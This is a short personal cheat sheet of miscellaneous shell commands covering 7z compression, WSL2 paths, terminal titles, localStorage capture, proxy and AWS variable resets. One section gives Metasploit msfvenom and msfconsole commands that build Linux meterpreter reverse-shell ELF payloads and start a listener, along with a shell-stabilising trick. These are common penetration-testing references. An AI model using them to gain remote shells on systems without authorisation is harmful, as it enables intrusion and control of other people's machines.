Misc Useful Commands

Last Modified: Mon, 06 Jul 2026 14:43:39 +0000 ; Created: Thu, 30 Oct 2025 14:06:15 +0000

Maximum compression using multiple cores
7z a  -mx=9 -myx=9 -ms=on -mhc=on -m0=LZMA2 -mmt=on -mtc=on -t7z     
MYFILE.7z STUFFTOCOMPRESS



WSL2 commands to get Windows user profile (home) directory
powershell.exe -c 'Write-Host -NoNewLine $env:userprofile' | tr '\\\\' '/' | xargs wslpath

alias cdwin="cd \`powershell.exe -c 'Write-Host -NoNewLine \$env:userprofile' | tr '\\134' '/' | xargs wslpath\`"



Set the Linux terminal tab name via CLI
echo -ne "\033]0;INSERTTERMTABTITLEHERE\007"



Useful Metasploit commands for remote shells
# STAGELESS

# x86

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=`curl https://checkip.amazonaws.com` LPORT=4444 -f elf > shell.elf

msfconsole --execute-command 'use exploit/multi/handler; set PAYLOAD linux/x86/meterpreter_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run'



# x64

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=`curl https://checkip.amazonaws.com` LPORT=4444 -f elf > shell.elf

msfconsole --execute-command 'use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run'

# ~~~~~~~~~~~~

/bin/bash -l
	works around	ttyname failed: Inappropriate ioctl for device
	
	even with bash -p  did not work (-p is good for suid runs)
	
	
	
script /dev/null -c bash



Capture web page local storage for debugging
copy("var data = " + JSON.stringify(localStorage) + "; Object.keys(data).forEach(function (k){ localStorage.setItem(k, data[k]); });");



For the current command prefix to turn-off any HTTP proxies
https_proxy= NO_PROXY= HTTPS_PROXY= HTTP_PROXY= http_proxy= ALL_PROXY= all_proxy= AWS_CA_BUNDLE=     



Remove any env AWS CLI/SDK variables
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN